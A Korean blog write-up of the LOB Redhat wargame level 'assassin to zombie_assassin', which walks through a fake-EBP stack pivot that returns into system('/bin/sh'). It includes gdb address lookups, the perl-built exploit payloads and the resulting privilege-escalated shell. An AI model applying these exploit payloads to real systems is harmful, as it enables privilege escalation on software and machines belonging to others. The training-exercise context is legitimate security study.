본문 바로가기

wargame/LOB Redhat

assassin to zombie_assassin

소스를 보면 FEBP라고 주석에 되어있다.

 

이는 fake ebp 이야기 하는 같다.

왜냐하면 strncpy 통해서 48만큼만 복사하는데 이것은 ret이후에는 덮어 씌울수가 없다는것을 뜻하는데

ret stack 또는 lib 주소도 못넣게 해놓았기 때문이다.

 

나는 이번 공격을 이전의 assassin에서 사용한 공격을 응용하여 ret leave 주소를 넣어서 esp 조작하겟다.

그래서 다른주소에서 ret 뽑아낼 있도록 유도 것이다.

이는 buffer 초기화 코드가 없기 때문에 가능한 공격이다.

 

payload 작성

[&system][&exit][&"/bin/sh"]["x"*28][fake ebp-4][&leave]

 

leave주소 구하기

[assassin@localhost assassin]$ gdb -q zombie_assassin

(gdb) disas main

.

.

0x80484df <main+159>:   leave

 

fake ebp주소 구하기

[assassin@localhost assassin]$ gdb -q zombie_assassin_1

(gdb) b *main+10

Breakpoint 1 at 0x804844a

(gdb) r aaaa

Starting program: /home/assassin/zombie_assassin_1 aaaa

/bin/bash: /home/bugbear/.bashrc: Permission denied

 

Breakpoint 1, 0x804844a in main ()

(gdb) x/x $esp

0xbffffc70:     0xbffffc98

 

 

공격

[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0

f\x40","x"x28,"\x4c\xfc\xff\xbf","\xdf\x84\x04\x08"'`

?@?@@xxxxxxxxxxxxxxxxxxxxxxxxxxxxL?욀?  

Illegal instruction

[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0

f\x40","x"x28,"\x6c\xfc\xff\xbf","\xdf\x84\x04\x08"'`

?@?@@xxxxxxxxxxxxxxxxxxxxxxxxxxxxl?욀?  

Segmentation fault

[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0

f\x40","x"x28,"\x5c\xfc\xff\xbf","\xdf\x84\x04\x08"'`

?@?@@xxxxxxxxxxxxxxxxxxxxxxxxxxxx\?욀?  

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$ my-pass

euid = 516

no place to hide

bash$ exit

exit

[assassin@localhost assassin]$

'wargame > LOB Redhat' 카테고리의 다른 글

succubus to nightmare  (0) 2014.05.27
zombie_assasin to succubus  (0) 2014.05.27
giant to assasin  (0) 2014.05.27
bugbear to giant  (0) 2014.05.27
darkknight to bugbear  (0) 2014.05.27